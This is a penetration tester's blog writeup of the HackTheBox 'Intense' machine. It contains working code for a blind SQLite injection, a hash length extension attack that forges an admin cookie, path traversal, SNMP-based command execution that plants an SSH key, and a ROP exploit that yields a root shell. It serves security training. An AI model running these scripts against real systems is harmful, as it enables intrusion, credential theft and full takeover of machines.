Header Image

Roman Hergenreder

IT-Security Consultant / Penetration Tester

[machine avatar]

HackTheBox Intense - Writeup

OS: Linux
Release Date: 07/04/2020 19:00 PM
Points: 40
Difficulty: Medium
Last modified: 05/16/2024 17:09 PM + Give Respect

We will start with our initial nmap scan, which gives us the following output:

$ nmap -A 10.10.10.195 -T 5 -p-
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b4:7b:bd:c0:96:9a:c3:d0:77:80:c8:87:c6:2e:a2:2f (RSA)
| 256 44:cb:fe:20:bb:8d:34:f2:61:28:9b:e8:c7:e9:7b:5e (ECDSA)
|_ 256 28:23:8c:e2:da:54:ed:cb:82:34:a1:e3:b2:2d:04:ed (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Intense - WebApp
161/tcp closed snmp

Right on the start page of the http server, we find a link providing the source of the webapp. We find a small python flask app including routes for logging in and out, inserting a note, and some admin functions, where we don't have access yet. Studying the functionality for the note insert, we find a sql injection:

@app.route("/submitmessage", methods=["POST"])
def submitmessage():
  message = request.form.get("message", '')
  if len(message) > 140:
    return "message too long"
  if badword_in_str(message):
    return "forbidden word in message"
  # insert new message in DB
  try:
    query_db("insert into messages values ('%s')" % message)
  except sqlite3.Error as e:
    return str(e)
  return "OK"
To insert new notes, we first need to login with the credentials on the start page: guest:guest. Exploiting this feature is not simple, as we don't get any output plus we cannot fetch inserted entries, but it is still possible: We need query, which evaluates a condition on the server side using SELECT CASE WHEN and then two cases which we can use to decide on the client side, if the condition was true or not. For the true case, we use any normal value, so the query gets successfully executed. For the false case, we would normally do a sleep. This won't work here, as the database backend is a sqlite database, where sleep is not implemented. Instead we will try to produce an runtime error. This can be achieved with NULL, if the column would be non-nullable, or using wrong data types. Here is zeroblob(1000000000) the way to go.
def inject(session, condition):
  global num_requests
  error_message = 'string or blob too big'

  try:
    injection = "'),((SELECT CASE WHEN %s THEN 1 ELSE zeroblob(1000000000) END))--" % (condition)
    res = session.post("%s/submitmessage" % URL, data={"message": injection})
    if res.status_code != 200 or (res.text != "OK" and res.text != error_message):
      print("[-] Server returned: %d %s - %s" % (res.status_code, res.reason, res.text))
      exit(1)

  except:
     return False

  return res.text != error_message

As we want to retrieve passwords or some secret data, we choose the following condition and let the script bruteforce:

def bruteStr(session, condition):
  found_str = ""
  found = True
  while found:
    found = False
    for x in string.printable:
      if x == "'":
        x = "''"
      if x == '%':
        continue

      print(found_str + x)
      if inject(session, condition % (len(found_str)+1,x)):
        found_str += x
        found = True
        break

  return found_str

secret = bruteStr(session, "(SELECT substr(secret,%d,1) FROM users WHERE username='admin' LIMIT 1)='%s'")
print("Found secret:", secret)

After some time, we got the admin secret:

$ python exploit.py
Found secret: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105
Unluckily we are not able to crack this hash, so we have to analyze the source code again. There is something suspicious: the web app uses LWT for session management, this sounds similar to JWT, but here it's some DYI-code. The cookie consists of a base64 encoded json body, followed by a dot and a base64 signature, which is a sha256 hash of the body prepended by a secret string. The secret string is generated at runtime and consists of randomly chosen 8 to 15 bytes, so it's unlikely to bruteforce this in time. Instead the signature generation seems to be suspicious:
SECRET = os.urandom(randrange(8, 15))

def sign(msg):
  """ Sign message with secret key """
  return sha256(SECRET + msg).digest()
And indeed, we find out, that this cryptographic use is vulnerable to an attack called Length Extension Attack. The function is vulnerable, because hash algorithms based on the Merkle–Damgård construction (like MD5, SHA-1, SHA-2) operates on blocks using an internal state, which can be reconstructed and then used to append more data, producing an still valid signature. We also find a tool, which can exploit this vulnerability and comes with a python binding: HashPump. To use this tool, we need a valid cookie, which we get when logging in as guest, and then appending admin as username and the secret we got in the previous step. As the length of the secret key is randomly chosen, we need to try out multiple cookies. Also note, that we need to prepend a semicolon to our append string, as the length extension attack would corrupt the following key.
def try_signature(cookie):
  res = requests.get("%s/admin" % URL, cookies={"auth": cookie})
  return res.status_code == 200

append = ';username=admin;secret=%s;' % admin_secret
auth_cookie = session.cookies["auth"]
b64_data, b64_sig = auth_cookie.split(".")
data = base64.b64decode(b64_data)
sig = base64.b64decode(b64_sig)

for key_len in range(8, 16):
  (new_sig, new_data) = hashpumpy.hashpump(sig.hex(), data, append, key_len)
  new_sig = base64.b64encode(binascii.unhexlify(new_sig)).decode("UTF-8")
  new_data = base64.b64encode(new_data).decode("UTF-8")
  cookie = "%s.%s" % (new_data, new_sig)
  if try_signature(cookie):
    print("Found keylength=%d cookie=%s" % (key_len, cookie))
The fact, that we are now logged in as admin, is also only possible because of the way, the parse_session function is implemented. It splits the cookie body into key-value pairs and then puts them into a dictionary. As the username=admin key-value pair comes after the username=guest pair, it is overridden.

Now we can use this cookie to make use of the admin functions. The last part is really easy, as the log view methods do not check paths, so we have a simple LFI. We can read the user flag using the following command:

$ curl -X POST -d 'logfile=../../../../../../home/user/user.txt' -b 'auth=<malicious cookie>' http://10.10.10.195/admin/log/view
b0db9ae04b1524e615afa0faa157a458

For the root part, we find a note_server binary and source code in user's home directory. This binary is probably running as root like the service file in /etc/systemd/system tells us. Unfortunately, the port is not exposed to the public, as the note_server is bound on 127.0.0.1. Thus we need a proper shell or some other connection. The firewall blocks outgoing connections, so a reverse shell won't work. Also we do not have write access to /home/user/.ssh/authorized_keys so we need to find another way in. Looking at the initial nmap scan results again, we see, that snmp is closed, so there must be an explicit firewall rule. We will try to connect via UDP and indeed, there is an SNMP service running:
$ snmpwalk -c public -v1 10.10.10.195
SNMPv2-MIB::sysDescr.0 = STRING: Linux intense 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64
SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (22100) 0:03:41.00
SNMPv2-MIB::sysContact.0 = STRING: Me <user@intense.htb>
SNMPv2-MIB::sysName.0 = STRING: intense
SNMPv2-MIB::sysLocation.0 = STRING: Sitting on the Dock of the Bay
SNMPv2-MIB::sysServices.0 = INTEGER: 72
SNMPv2-MIB::sysORLastChange.0 = Timeticks: (26) 0:00:00.26
(...)
There is no secret information leaked, so we will have a look at the snmp configuration. In /etc/snmp/snmpd.conf we find the entry rwcommunity SuP3RPrivCom90, which allows us to retrieve more data and also grants us some write permissions. We can abuse SNMP to execute commands remotely, which we will do to upload a public key for the Debian-snmp user. This won't give us a shell, as Debian-snmp's shell is set to /bin/false (see: /etc/passwd), but we will be able to forward the port where note_server is running on.

To do so, we need to split up our public key, as snmp only allows command arguments of length 255 or less. Also we will probably need to execute the commands multiple times, as the server throws random errors (i don't know why to be honest). We will use the following python script:

def execCommand(cmd):
  Success = False
  while not Success:
    proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    Success = proc.wait() == 0
    time.sleep(3)

def generateCommand(arg):
  return [
    "snmpset", "-m", "+NET-SNMP-EXTEND-MIB", "-v", "2c",
    "-c", "SuP3RPrivCom90", "10.10.10.195",
    "nsExtendStatus.\"command\"", "=", "createAndGo",
    "nsExtendCommand.\"command\"", "=", "/bin/bash",
    "nsExtendArgs.\"command\"", "=", arg
    ]

def trigger():
  return os.system("snmpwalk -v 2c -c SuP3RPrivCom90 10.10.10.195 1.3.6.1.4.1.8072.1.3.2 1>/dev/null")

Using the above code, we are now able to upload our public key in parts:

pubkey = open("<your publickey>","r").read()
argument = '-c "echo -n %s >> ~/.ssh/authorized_keys"'
remaining_len = 255-len(argument)

print("[ ] Clearing ~/.ssh/authorized_keys")
execCommand(generateCommand('-c "rm ~/.ssh/authorized_keys"'))
trigger()
print("[+] Success")

chunks = textwrap.wrap(pubkey, remaining_len)
for i in range(len(chunks)):
    chunk = chunks[i]
    print("[ ] Uploading chunk %d/%d" % (i+1,len(chunks)))
    execCommand(generateCommand(argument % chunk))
    trigger()
print("[+] Success")

Now we should be able to create a SSH tunnel for port forwarding on our local machine:

$ ssh -i <private key> -N -L 5001:localhost:5001 Debian-snmp@10.10.10.195

We can now interact with the note_server by connecting to localhost:5001. For the rest I will structure the exploitation into multiple parts.

1. Understanding the binary

When connecting to the note server, the program forks itself and then receives and sends on the opened socket. This is an important fact, as randomly chosen addresses due to ASLR (Address space layout randomization) will be the same, as in the parent process, because fork() only copies the memory. The server now accepts 3 different options. Note here, that these options are received as binary and not text, so we need to send e.g. \x01 instead of "1". For the first option, the server excepts another binary number for the length of the note and then the note itself. It will store the note at the dynamic variable index, which is increased every time we add or copy a note. The second option allows us to specify an offset, followed by the size we want to copy. The note starting at the given offset will be then copied to the end of the buffer (index). The last option simply prints the buffer from the beginning to the end of the index and then terminates the forked process. For option 1-2 we are allowed to choose another option at the end. The following images illustrate the buffer and it's states after certain inputs:
[Binary Exploitation 1]

To exploit this binary we need to bypass several security precautions:

$ checksec note_server
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

2. Leaking Stack Canary, Base Pointer and Return Address

For the first step of exploitation, we are using a bug inside option 2:

// get offset from user want to copy
if (read(sock, &offset, 2) != 2) {
  exit(1);
}

// sanity check: offset must be > 0 and < index
if (offset < 0 || offset > index) {
  exit(1);
}

// get the size of the buffer we want to copy
if (read(sock, &copy_size, 1) != 1) {
  exit(1);
}

// prevent user to write over the buffer's note
if (index > BUFFER_SIZE) {
  exit(1);
}

// copy part of the buffer to the end
memcpy(&note[index], &note[offset], copy_size);

index += copy_size;
Because the code doesn't check, if index + offset > BUFFER_SIZE, we can first fill the buffer with any junk and then call copy note again with offset = index. Thus memcpy will copy n bytes from &note[index] to &note[index] and we won't break the stack canary, but the index is still increased! After this operation, we cann call option 3 to read the note until index, and we will receive our desired values:
[Binary Exploitation 2]
io = start()
print("\nStage 1: Getting stack canary + base pointer")
writeToEnd()

read_size = 32
copyNote(1024,read_size)
leak = readNotes(1024+read_size)[1024:]
val = u64(leak[0:8])
canary = u64(leak[8:16])
rbp = u64(leak[16:24])
rip = u64(leak[24:])

print("\nLeaks:")
print("val = ", hex(val))
print("rbp = ", hex(rbp))
print("canary = ", hex(canary))
print("rip = ", hex(rip))
io.close()

3. Leaking libc address

As we now got the stack canary, and the return address, we can control the program flow using ROP Gadgets. The return address gives us a hint, where the write function pointer is located in the GOT (Global Offset Table). When we run the note server locally and attaching it to gdb, we can make use of gef's vmmap extension, to print virtual pages and bounds. Then we just subtract the return address we got from the base address of the page to retrieve the offset. We can apply this offset on any return address we get in the future, as the program always takes the same path. Using the offset and the GOT entry, we can craft a ROP chain to leak libc address:
io = start()
print("\nStage 2: Leaking LIBC")
base_address = rip - 0xF54 # offset calculated using vmmap
print("Base Address:", hex(base_address))
elf = context.binary
elf.address = base_address
rop = ROP(elf)
rop.write(FD, elf.got["write"])
print("\nROP Gadgets:\n" + rop.dump()) # these should appear later in the leak

buf = b""
buf += p64(val)
buf += p64(canary)
buf += p64(rbp)
buf += rop.chain()

writeNote(buf)
writeToEnd(len(buf))        # fill rest of buffer, so that index = 1024
copyNote(0,len(buf))        # copy first X bytes right after buffer
readNotes(1024+len(buf))    # get the notes

print("\nLibc Leak:")
leak = io.recv(8)           # this should be the libc leak
libc_write = u64(leak)
print("address:", hex(libc_write), "offset:", hex(libc_write & 0xFFF))
io.close()
For the FD we chose 4, because 0-2 are reserved for standard IO and it's most likely for the server to use FD as socket's file descriptor. It might still be possible that we need other values here. Using the script we were able to retrieve the libc write offset 0x140. Looking up this value in the libc database, we get two libc versions: for 32 and 64 bit. We will download the 64-bit library and use it for the last step.

4. Spawning a shell

For the last step, we need to craft another ROP chain to spawn a shell by making a execve call. execve needs the path to the binary as first argument, the pointer to /bin/sh is also located in libc.
elf_libc = ELF("libc6_2.27-3ubuntu1_amd64.so")
print("\nStage 3: Spawning a shell")
elf_libc.address = libc_write - elf_libc.symbols['write']
rop_libc = ROP(elf_libc)
binsh = next(elf_libc.search(b"/bin/sh\x00"))
rop_libc.dup2(FD, 0)
rop_libc.dup2(FD, 1)
rop_libc.execve(binsh,0x0,0x0)
buf = b""
buf += p64(val)
buf += p64(canary)
buf += p64(rbp)
buf += rop_libc.chain()
io = start()
writeNote(buf)
writeToEnd(len(buf))
copyNote(0,len(buf))
readNotes(1024)
io.recv(len(buf))
io.interactive()
$ python exploit.py
(...)
Stage 3: Spawning a shell
[+] Opening connection to 127.0.0.1 on port 5001: Done
[*] Switching to interactive mode
$ id && hostname
uid=0(root) gid=0(root) groups=0(root)
intense

TIL: Another crypto flaw and why you should use HMAC instead of hash(secret+x). Also, this was my first more complex binary exploitation.